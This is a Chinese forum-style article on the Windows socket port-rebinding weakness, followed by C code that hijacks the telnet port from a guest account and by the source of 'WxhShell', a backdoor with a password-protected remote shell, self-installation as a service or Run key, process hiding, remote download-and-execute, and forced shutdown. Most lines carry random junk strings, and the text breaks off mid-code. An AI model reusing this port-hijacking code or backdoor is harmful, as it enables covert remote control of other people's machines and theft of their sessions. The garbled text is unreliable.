在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
H$V`,=H s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
T`bUBrK6g` zR4]buHnE saddr.sin_family = AF_INET;
OdpHF~(Y/ ^T*!~K8A saddr.sin_addr.s_addr = htonl(INADDR_ANY);
aL*}@|JL" xI_0`@do bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
.D;6
r4S Ob{Tn@ 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
$h}5cl CZE!@1"<{ 这意味着什么?意味着可以进行如下的攻击:
on;>iKta9 g^}C/~b[ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
W] WH4.y +eO>> ~Z 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
"Zy:q'`o jK".iqx2L 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
zwU1(?]I{ t,n2N13 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
+/bD9x1H {V pk o 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
mo+!79& uq/Fapl 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
qyAnq%B} ##%&*vh 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
cF_`QRtO l,~`o$_ #include
N~0ihTG5 #include
} '?qUy3x #include
8A5/jqnqt #include
L[Ot$ DWORD WINAPI ClientThread(LPVOID lpParam);
6Xz d>5x int main()
8#\|Y~P {
oHr0;4Lg6 WORD wVersionRequested;
MsBm0r`a DWORD ret;
IMncl=1 WSADATA wsaData;
;l1.jQh BOOL val;
8rx|7 SOCKADDR_IN saddr;
as'yYn8 SOCKADDR_IN scaddr;
`*elzW int err;
j0j!oj)7I SOCKET s;
[?hvx} SOCKET sc;
1Q!kk5jE int caddsize;
rB{w4 HANDLE mt;
cly} [<w! DWORD tid;
7#W]Qj wVersionRequested = MAKEWORD( 2, 2 );
MV??S{^4 err = WSAStartup( wVersionRequested, &wsaData );
m)LI|
v if ( err != 0 ) {
jO/cdLKX( printf("error!WSAStartup failed!\n");
^_i)XdPU return -1;
<f`n[QD2z }
}#-@5["-X saddr.sin_family = AF_INET;
`qYiic% {F2Rv //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
e&2,cQRFV f,F1k9-1! saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Mk0x#-F saddr.sin_port = htons(23);
'6})L if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ya{`gjIlW {
;c>"gW8 printf("error!socket failed!\n");
SO.u0! return -1;
j
RcE241 }
E#_2t)20 val = TRUE;
,vO\n^ //SO_REUSEADDR选项就是可以实现端口重绑定的
7#d:TXS if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
kz1#"8Zd! {
o&&`_"18 printf("error!setsockopt failed!\n");
^EKRbPA9:< return -1;
qH5nw}] }
iC5HrOl6U //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
.drY //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
J
<;xkT1x //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
<ch}]-_ N$=9R if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
ErJ/h?+ {
c|JQ0] K ret=GetLastError();
NmXRA(m printf("error!bind failed!\n");
s9a`2Wm return -1;
}^0'IAXi }
FwlDP listen(s,2);
8'L:D while(1)
vBOY[>= {
!'~L dl caddsize = sizeof(scaddr);
6r`N\ :18 //接受连接请求
FZn1$_Svr sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
tW4X+d" if(sc!=INVALID_SOCKET)
\O4s0*gw {
]hS<"=oj mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
w|]Tt=" if(mt==NULL)
Z$g'h1,zW {
vanV |O printf("Thread Creat Failed!\n");
VBQAkl?(}4 break;
%qz-b. }
<" nWGF4d }
br
Iz8] CloseHandle(mt);
l?2 }
#*/nUbsg closesocket(s);
=1dczJHV WSACleanup();
05k'TqT{c return 0;
Im\ ~x~{ }
BO4;S/ O DWORD WINAPI ClientThread(LPVOID lpParam)
`,xO~_
e> {
f|M^UHt8* SOCKET ss = (SOCKET)lpParam;
<W!n lh SOCKET sc;
Uz_p-J0 unsigned char buf[4096];
=.;ib6M SOCKADDR_IN saddr;
R;pW,]}g, long num;
4K'U}W DWORD val;
B )[RIs DWORD ret;
T0")Ryu //如果是隐藏端口应用的话,可以在此处加一些判断
3o[(pfcU //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
oJ
%Nt&q saddr.sin_family = AF_INET;
>qB`03> saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
ULxQyY;32 saddr.sin_port = htons(23);
F<4:P= if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
;M0`8MD {
JZ`SV}\` printf("error!socket failed!\n");
%6 Av1cv return -1;
Pe,k y>ow }
\fEG5/s}T val = 100;
D{Nd2G if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
n]Yz<# {
q[VQ?b~9 ret = GetLastError();
l"E{ ?4 return -1;
}dzVwP= }
p@%Pdx if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
$3l#eKZA {
5hy7}*dR ret = GetLastError();
NZv 8# return -1;
Z2m^yRQ( }
U5N |2 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
U ->vk{v {
APF`b printf("error!socket connect failed!\n");
6]%=q)oL[ closesocket(sc);
P8ej9ULX, closesocket(ss);
@}H'2V return -1;
]gVA6B?&9 }
B=K<k+{6" while(1)
<Tjhj* {
] 9C)F*r7 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
zA6C{L G3 //如果是嗅探内容的话,可以再此处进行内容分析和记录
Yb5@W/' //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)cRHt: num = recv(ss,buf,4096,0);
7F>]zrbK if(num>0)
kVM*[<k send(sc,buf,num,0);
~&p]kmwXSX else if(num==0)
O0z-jZ,]) break;
NR(rr. num = recv(sc,buf,4096,0);
]}].Aq if(num>0)
@xBb|/I send(ss,buf,num,0);
9ThsR&h3 else if(num==0)
QxE%C break;
guYP| }
-M6vg4gf closesocket(ss);
Gdb0e]Vt+ closesocket(sc);
5)S;R, return 0 ;
8aVQW_m} }
#aC&!Rei{ okRt^qe uKXU.u*C ==========================================================
V.u^;gr3 EH2): 下边附上一个代码,,WXhSHELL
lshSRir !gLJBp ==========================================================
}0E@eL D[@-`F #include "stdafx.h"
<ZZfN@6 P;25F #include <stdio.h>
,?j!c* #include <string.h>
k7*-v/*S #include <windows.h>
.aa7*e #include <winsock2.h>
DL~!
^fx #include <winsvc.h>
lY`WEu #include <urlmon.h>
"~=}& 2BO H8Mp9 #pragma comment (lib, "Ws2_32.lib")
gsQn@(; #pragma comment (lib, "urlmon.lib")
>BO!jv!a cp8w
_TPU #define MAX_USER 100 // 最大客户端连接数
V4"o.G3\o #define BUF_SOCK 200 // sock buffer
st "@kHQ3 #define KEY_BUFF 255 // 输入 buffer
9<CUm"%J '!Va9m*w7 #define REBOOT 0 // 重启
B
&Z0ZWx #define SHUTDOWN 1 // 关机
=r]_$r%gR oSMIWwg7G #define DEF_PORT 5000 // 监听端口
F'{ T[MA #oEtLb@O #define REG_LEN 16 // 注册表键长度
Uhh[le2 % #define SVC_LEN 80 // NT服务名长度
;_<
Yzl 7SkW!5 // 从dll定义API
,:}VbQ:3I typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
MJe/ \ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
cqh1,h$sG typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
rS\mFt X typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
8sDw:wTC X%*BiI // wxhshell配置信息
Z] cFbl\ma struct WSCFG {
]OKKR/: int ws_port; // 监听端口
b9.7j!W char ws_passstr[REG_LEN]; // 口令
u8A,f}D 3 int ws_autoins; // 安装标记, 1=yes 0=no
CWp>8@v char ws_regname[REG_LEN]; // 注册表键名
[C
7X#| char ws_svcname[REG_LEN]; // 服务名
<MhODC") char ws_svcdisp[SVC_LEN]; // 服务显示名
ZyC[w7$I2 char ws_svcdesc[SVC_LEN]; // 服务描述信息
ct*~\C6Ze char ws_passmsg[SVC_LEN]; // 密码输入提示信息
U.^%7. int ws_downexe; // 下载执行标记, 1=yes 0=no
Q"pZPpl& char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
-y&>&D char ws_filenam[SVC_LEN]; // 下载后保存的文件名
uh)f/)6 96F+I!qC };
6S%KUFB+e @d3yqA
// default Wxhshell configuration
=P`l+k3 struct WSCFG wscfg={DEF_PORT,
%)}y[
( "xuhuanlingzhe",
pVC;''E 1,
OcZ8:`=% "Wxhshell",
deqL "Wxhshell",
p77 "WxhShell Service",
8gXf4A(N "Wrsky Windows CmdShell Service",
~Aoo\fN_U "Please Input Your Password: ",
Ji;R{tZ.R 1,
8+8P{_ "
http://www.wrsky.com/wxhshell.exe",
D`@*udn= "Wxhshell.exe"
Qe4"a*l-r };
"a]Ff&T- 1J[|Ow // 消息定义模块
JAS!eF char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
k(R&` char *msg_ws_prompt="\n\r? for help\n\r#>";
3sz?49tX char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
&DX char *msg_ws_ext="\n\rExit.";
i4\m/&of3y char *msg_ws_end="\n\rQuit.";
[8rl{~9E char *msg_ws_boot="\n\rReboot...";
x>MY_?a char *msg_ws_poff="\n\rShutdown...";
Y5\=5r/ char *msg_ws_down="\n\rSave to ";
&BkdC,o gB}UzEj^< char *msg_ws_err="\n\rErr!";
)" H r3 char *msg_ws_ok="\n\rOK!";
}NF7"tOL #RVN7-x char ExeFile[MAX_PATH];
[|dQZ int nUser = 0;
.Eg[[K_iD HANDLE handles[MAX_USER];
&/{x7;e int OsIsNt;
1ZRSeh ['\u?m SERVICE_STATUS serviceStatus;
{U7A&e0eW SERVICE_STATUS_HANDLE hServiceStatusHandle;
mqKr+
&?#!%Ds // 函数声明
z|WDqB%/I int Install(void);
|<w
Z;d int Uninstall(void);
4<l&cP int DownloadFile(char *sURL, SOCKET wsh);
p WLFJH}N int Boot(int flag);
{aYCrk1 void HideProc(void);
/+{1;}AT int GetOsVer(void);
O>Ao#_*hOb int Wxhshell(SOCKET wsl);
+EP=uV9t void TalkWithClient(void *cs);
>
@n?W" int CmdShell(SOCKET sock);
zR6^rq* int StartFromService(void);
%#-'|~ int StartWxhshell(LPSTR lpCmdLine);
6),VN>j FX:'38-fk VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
X.hVMX2B VOID WINAPI NTServiceHandler( DWORD fdwControl );
K0z@gWGE mFeoeI,Jv // 数据结构和表定义
P'p5-l UK SERVICE_TABLE_ENTRY DispatchTable[] =
#hP&;HZ2>" {
_%6Vcy {wscfg.ws_svcname, NTServiceMain},
'(&,i/O {NULL, NULL}
2:Rxyg@' };
g@B,0JRh 0\Ga&Q0-(O // 自我安装
<O30X
!QuK int Install(void)
n;0x\Q|S {
q3$;lLsb;j char svExeFile[MAX_PATH];
wwh)B92Y5 HKEY key;
e=w.7DSE strcpy(svExeFile,ExeFile);
H/BU2s a b8TwV_&|X // 如果是win9x系统,修改注册表设为自启动
dT4e[4l if(!OsIsNt) {
=~F.7wq*^ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
DTp|he RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
)\|Bghui RegCloseKey(key);
F]7$Y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
G,JK$j>*l
RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
\ws^L,h RegCloseKey(key);
Gw0MDV&[ return 0;
= *~Q5F }
IiRII)
}
{wyf>L0j }
n
2m!a0; else {
{ZrB,yK aIW W[xZ // 如果是NT以上系统,安装为系统服务
v#o<.
Ig SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
$ H2HVJ if (schSCManager!=0)
fY{&W@#g {
'k9dN
\ev SC_HANDLE schService = CreateService
(b4;c=<[{ (
@gHWU>k,A schSCManager,
z8\;XR wscfg.ws_svcname,
Ss
c3uo 0 wscfg.ws_svcdisp,
U2)y fhI SERVICE_ALL_ACCESS,
>Pw
ZHY SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
-|&5aH] SERVICE_AUTO_START,
~lB:xVzn SERVICE_ERROR_NORMAL,
R6/vhze4L2 svExeFile,
of>"qrdZ NULL,
RmcQGQ NULL,
';OZP2 NULL,
a>/cVu'kz NULL,
#(Ah>y NULL
wk (}q );
E2a00i/9Y if (schService!=0)
1X$hwkof {
@[(<oX% CloseServiceHandle(schService);
"f-z3kL CloseServiceHandle(schSCManager);
2h^9lrQcQG strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
I]OVzM strcat(svExeFile,wscfg.ws_svcname);
1} h''p if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
XI*cu\7sy RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
qH-':|h7 RegCloseKey(key);
H<bK9k)E return 0;
soi.`xE }
r7=r~3) }
g4fe(.?c, CloseServiceHandle(schSCManager);
ZQQ0} }
f}U@e0Lsb }
e-.s63hm "G,$Sqi@ return 1;
}xE}I<M }
=9@t6 98^o9i // 自我卸载
(hv>vfY@ int Uninstall(void)
=fZMute {
>84:1` HKEY key;
P-c<[DSM'I _>"f&nbO if(!OsIsNt) {
aur4Ky> : if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
}3&~YBx;: RegDeleteValue(key,wscfg.ws_regname);
#0wH.\79 RegCloseKey(key);
wqyrs|P if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
Q+]9Glz9 RegDeleteValue(key,wscfg.ws_regname);
y@?t[A#v RegCloseKey(key);
:-Al}7 return 0;
j/<z[qr }
PWw2;3`-6w }
a6&+>\o }
O3>m,v else {
TUaW' "X7;^yY SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
KL}o%wfLy if (schSCManager!=0)
fqcFfz6?x {
$JTQA SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
PfKF!/c
B if (schService!=0)
"o
^cv {
erC )2{m if(DeleteService(schService)!=0) {
hL8GW> `a CloseServiceHandle(schService);
*>,CG:`D CloseServiceHandle(schSCManager);
V<+=t{ return 0;
j~a"z4 0 }
yd-Kg zm8n CloseServiceHandle(schService);
1VD8y_tC }
F3L'f2yBG CloseServiceHandle(schSCManager);
#& 5} }
ub* j&L=
}
s/"?P/R 6HyndB^ return 1;
">pt,QV }
'"/Yk=EmlU XW*,Lo5>H\ // 从指定url下载文件
@\|W#,~ int DownloadFile(char *sURL, SOCKET wsh)
aN/0'V|&ym {
}wh
sZ HRESULT hr;
=/b WS,= char seps[]= "/";
g;Lk 'Ky6 char *token;
j$z<wR7j0 char *file;
'.mHx#?7 char myURL[MAX_PATH];
0;bi*2U char myFILE[MAX_PATH];
RTgR>qI&) |<q9Ee strcpy(myURL,sURL);
-!kfwJg8N( token=strtok(myURL,seps);
=h<LlI^v while(token!=NULL)
v_$'!i$ {
Gc'CS_L file=token;
lW!}OzE(m token=strtok(NULL,seps);
)O~V3a }
Zss `## !7KSNwGu GetCurrentDirectory(MAX_PATH,myFILE);
GkT:7`|C strcat(myFILE, "\\");
~fDMzOd strcat(myFILE, file);
_ `RCY^t send(wsh,myFILE,strlen(myFILE),0);
4R~f send(wsh,"...",3,0);
HZHzjrx hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
n4YedjHSN if(hr==S_OK)
y[W<vb+F return 0;
\
M_}V[1+ else
F;Lg
w^1! return 1;
4KkjBPV ,>^6ztM }
<r{M(yZ?@ \VTNXEw*G // 系统电源模块
Q--VZqn int Boot(int flag)
,bQbj7 {
qXH\e| HANDLE hToken;
@vC7j>*4B TOKEN_PRIVILEGES tkp;
45u\v2,C3 k[6xuyY] if(OsIsNt) {
"XU
M$:D OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
5yHarC LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
xgX"5Czvv` tkp.PrivilegeCount = 1;
=deqj^&@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
9<9 c^2 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
Bj ~bsT@a. if(flag==REBOOT) {
uP:Y[$O if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
<#hltPyh return 0;
):Vzv }
JE<zQf( & else {
Zy>iaG9} if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
i09w(k? return 0;
Gg\805L@ }
wQ4IQ! }
9 NO^ ' else {
!w!}`|q if(flag==REBOOT) {
qOusO6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
h|MTE~
return 0;
>z`^Q[ }
RO([R=.`/ else {
Z]1=nSv if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
!IZbMn6 return 0;
PMdvBOtS` }
P?y3YxS }
D};zPf@!p ZwV`} 2{ return 1;
C{i9~80n }
gm-I)z!tz vSt7&ec // win9x进程隐藏模块
DRBRs-D void HideProc(void)
+0,{gDd+
{
u]B15mT? =*AAXNs@3 HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
y}fF<qih'> if ( hKernel != NULL )
yN0!uzdW* {
AX Y.80+ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
T4O H,^J ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
c\n&Z'vK FreeLibrary(hKernel);
V>{G$(v$ }
Bc/'LI.% M<A*{@4$w& return;
X_7cwPY }
=?*6lS}gy Lqt.S| // 获取操作系统版本
&nc0stuL int GetOsVer(void)
cmzu
@zq {
6O`s&T,t OSVERSIONINFO winfo;
D['z/r6F winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
W-QBC-
3 GetVersionEx(&winfo);
nPW?DbH + if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
eYER"E return 1;
'E4`qq else
!Od?69W, $ return 0;
d ,Fj|}S }
oBA]qI H O^3v34ZO // 客户端句柄模块
~{#$`o= int Wxhshell(SOCKET wsl)
P <$)v5f {
Wz}8O]#/. SOCKET wsh;
];-DqK' struct sockaddr_in client;
qfO=_z ES DWORD myID;
^1a/)Be{_ dFd^@b while(nUser<MAX_USER)
OX"^a$ {
vZgV/?'z int nSize=sizeof(client);
^V
DJGBk wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
n~1'M/wh if(wsh==INVALID_SOCKET) return 1;
LDj'L~H .`iG}j)\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
ElAho3W if(handles[nUser]==0)
I^M%+\ closesocket(wsh);
q(i^sE[y else
P9Gjsu # nUser++;
73-*|@6 }
"l-L-sc, WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
(1
"unP- N2?o6) return 0;
Vvth, }
3'd(=hJ45$ ){AtV&{$ // 关闭 socket
FS3MR9 void CloseIt(SOCKET wsh)
h>'9-j6B {
|WopsV
% closesocket(wsh);
*V\z]Dy-[ nUser--;
5E~?hWAv ExitThread(0);
vyME }
oD$8( *K9I+t"g // 客户端请求句柄
U4DQ+g(A void TalkWithClient(void *cs)
S$CO T)7 {
z7[TgL7 ]Qo.X~] SOCKET wsh=(SOCKET)cs;
y_^w| char pwd[SVC_LEN];
^i"C%8 char cmd[KEY_BUFF];
wq[\Fb` char chr[1];
2Xu?/yd int i,j;
&1O!guq% 9Tgl/}q) while (nUser < MAX_USER) {
/5:f[-\s ]L'FYOfrpx if(wscfg.ws_passstr) {
U({20 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
H-?wEMi)*u //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
h'i8o>7 //ZeroMemory(pwd,KEY_BUFF);
W\(u1>lj i=0;
+3HukoR( while(i<SVC_LEN) {
4?#0fK u!k]Q#2ZR // 设置超时
BrW1:2w
>\ fd_set FdRead;
;2o+|U@ struct timeval TimeOut;
pK)*{fC$` FD_ZERO(&FdRead);
p^2"g~ FD_SET(wsh,&FdRead);
i\P?Y(-{ TimeOut.tv_sec=8;
- nWs@\ TimeOut.tv_usec=0;
45Z"U<I,9 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
8+m[ %5lu if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Qfhhceb6#J U=?hT&w\S if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
UbBo#(TZ) pwd
=chr[0]; GVFR^pzO
if(chr[0]==0xd || chr[0]==0xa) { qz|`\^
pwd=0; )+^1QL
break; q<Zdf
} ;5wmQFr
i++; `w_?9^7mH
} &cjE+
=)56]ki}
// 如果是非法用户,关闭 socket sUaUZO2V
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -29Sw
} z3l=aAw8
&*G+-cF
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mhp&;
Q9
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0nkon3H
-rU~
while(1) { 2gn*B$a
n-h2SQl!
ZeroMemory(cmd,KEY_BUFF); #z|\AmZ\
~[@Gj{6p0
// 自动支持客户端 telnet标准 bYr;~
^
j=0; e=11EmN9
while(j<KEY_BUFF) { ];bl;BP
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Z[.+Wd\)-9
cmd[j]=chr[0]; us&!%`
if(chr[0]==0xa || chr[0]==0xd) { _9Pxtf
cmd[j]=0; wi#]*\N\9
break; NLe+
} 'xNPy =#
j++; b\/:-][
} tK<GU.+
< bHu9D
// 下载文件 UWdPB2x[
if(strstr(cmd,"http://")) {
<
V?CM(1C
send(wsh,msg_ws_down,strlen(msg_ws_down),0); B]PTe~n^
if(DownloadFile(cmd,wsh)) H'Mc]zw_,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); zj!&12w%3
else $#4J^(I*:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5XO eYO{
} fvajNP
else { V?g@pnN"
>Z#=<
switch(cmd[0]) { Wsn}Y-x
RP]hW{:U
// 帮助 j @c
fR
case '?': { M@a?j<7P,m
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); zu<8%
break; SnK j:|bV
} {(}Mu R
// 安装 >wK ^W{
case 'i': { r7tN(2;5
if(Install()) ={9G.%W
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [\o+I:,}wi
else 1vTncU!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WZk\mSNV
break; a8T<f/qW k
} O?uT'$GT
// 卸载 )z0qKb\
case 'r': { Rn O%8Hk
if(Uninstall()) mU1lEx$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;!<WL@C~
else <!.'"*2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G"CV
S@
break; bl|k6{A
} _(J 7^rN
// 显示 wxhshell 所在路径 [/#c9RA
case 'p': { W~GbB:-
char svExeFile[MAX_PATH]; ;!4Bw"Gg
strcpy(svExeFile,"\n\r"); V:h-K`~/
strcat(svExeFile,ExeFile); ^/K\a
,
send(wsh,svExeFile,strlen(svExeFile),0); q#W|*kL3
break; DPvM|n`TW
} DXlP(={*
// 重启 ~mc7O
case 'b': { EAQg4N:D7L
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); bS{7 *S
if(Boot(REBOOT)) 2Mc/ah
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [>"bL$tlo*
else { 4[za|t
closesocket(wsh); I__|+%oC
ExitThread(0); [h 8j0Q@Q
} 37)Dx
break; hd~X c
} ~je#gVoUR
// 关机 qr%9Sdvx
case 'd': { UhCE.#
U
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @Md%gEh;&
if(Boot(SHUTDOWN)) ~\tI9L?|A
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^Yei9bXl
else { <8MKjf
closesocket(wsh); ko2Kz
k
ExitThread(0); jw$3cwddH
} E6n3[Z
break; V,bfD3S3
} p<>%9180!F
// 获取shell &eV& +j
case 's': { n(.y_NEgV!
CmdShell(wsh); &Zl$7
closesocket(wsh); 5EDN 9?a
ExitThread(0); v_f8zk
break; (OT /o&cQ
} 43pQFDWa
// 退出 >TUs~
case 'x': { *vFVXJo
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >*H>'O4
CloseIt(wsh);
R6~x!
break; ) W)m?%
} zVe@`gc
// 离开 FX7=81**4
case 'q': { 6>v`6
send(wsh,msg_ws_end,strlen(msg_ws_end),0); lk{
closesocket(wsh); ";38vjIV
WSACleanup(); Z^,C><Yt
exit(1); KE:PRX
break; WyVFhAuU
} 2<wuzP|
} /]_T
} -frmvNJ F
. $uvQpyh
// 提示信息 yC !`6$
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); aO('X3?
} ]&\HAmOQS
} )ALPMmlRs
$j:$
`
return; xy$73K6
}
02:]
q%TWtQS
// shell模块句柄
RvKP&
int CmdShell(SOCKET sock) s42M[BW]
{ \UM9cAX`
STARTUPINFO si; i`/_^Fndyu
ZeroMemory(&si,sizeof(si)); R/r)l<X@
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; cjt<&b*
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; K[0.4+
PROCESS_INFORMATION ProcessInfo; D].!u{##
char cmdline[]="cmd"; % eWzr
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 6s\niro2
return 0; 0UZ>y/
C)=
} 6M9t<DQV
9Z]~c^UB
// 自身启动模式 Vy0s%k
int StartFromService(void) n/#zx:d?
{ \Zz"%i
typedef struct tFt56/4
{ ,gGIkl&
DWORD ExitStatus; nf&PDv1
DWORD PebBaseAddress; (n+2z"/
DWORD AffinityMask; GL$!JKWp
DWORD BasePriority; _@9[c9bO
ULONG UniqueProcessId; &v|Uy}h&%1
ULONG InheritedFromUniqueProcessId; AE`X4 q
